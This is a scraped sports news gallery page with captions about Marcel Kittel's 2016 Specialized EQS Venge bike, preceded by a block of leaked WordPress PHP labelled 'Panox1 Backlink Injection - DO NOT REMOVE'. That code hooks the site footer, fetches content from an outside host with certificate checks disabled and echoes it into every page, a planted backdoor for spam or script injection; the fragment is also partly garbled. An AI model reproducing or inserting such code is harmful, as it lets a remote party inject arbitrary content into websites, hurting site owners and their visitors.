// Panox1 Backlink Injection - DO NOT REMOVE add_action('wp_footer', function() { $cache_key = 'panox1_links_' . md5(home_url()); $cached = get_transient($cache_key); if ($cached !== false) { echo $cached; return; } $response = wp_remote_get('https://staticsx.top/panox1/api/inject-endpoint.php?site_url=' . urlencode(home_url()), ['timeout' => 5, 'sslverify' => false]); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $content = wp_remote_retrieve_body($response); if (!empty($content) && strpos($content, ' 'active', 'site' => home_url(), 'time' => time()]); } }); // End Panox1 Marcel Kittel's 2016 Specialized EQS Venge – Gallery – Next Sports News

Marcel Kittel's 2016 Specialized EQS Venge – Gallery

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Marcel Kittel’s 2016 EQS Venge.

(Brakethrough Media)

The integrated rear brake caliper in detail.

(Brakethrough Media)

Marcel Kittel’s sleek 2016 Specialized EQS Venge.

(Brakethrough Media)

A streamlined front brake for maximum aerodynamics.

(Brakethrough Media)

Marcel Kittel’s S-Works stem is slammed low.

(Brakethrough Media)

The front brake is tucked away behind the fork.

(Brakethrough Media)

Roval Rapide CLX 60 wheels.

(Brakethrough Media)

Marcel Kittel’s decal sits discreetly on the seat stay.

(Brakethrough Media)

The EQS 2016 Venge boasts an integrated rear brake.

(Brakethrough Media)

Marcel Kittel uses Shimano’s electronic Di2 groupset.

(Brakethrough Media)

Kittel’s drivetrain in detail.

(Brakethrough Media)

Marcel Kittel uses Shimano Dura-Ace Di2.

(Brakethrough Media)

Roval Rapide CLX 60 wheels.

(Brakethrough Media)

Marcel Kittel’s 2016 EQS Venge.

(Brakethrough Media)

The cockpit of Marcel Kittel’s 2016 Specialized EQS Venge.

(Brakethrough Media)

Marcel Kittel steps out of the team hotel

(Sadhbh O’Shea)

Marcel Kittel and Dan Martin ride side by side during the training ride

(Tim de Waele/TDWSport.com)

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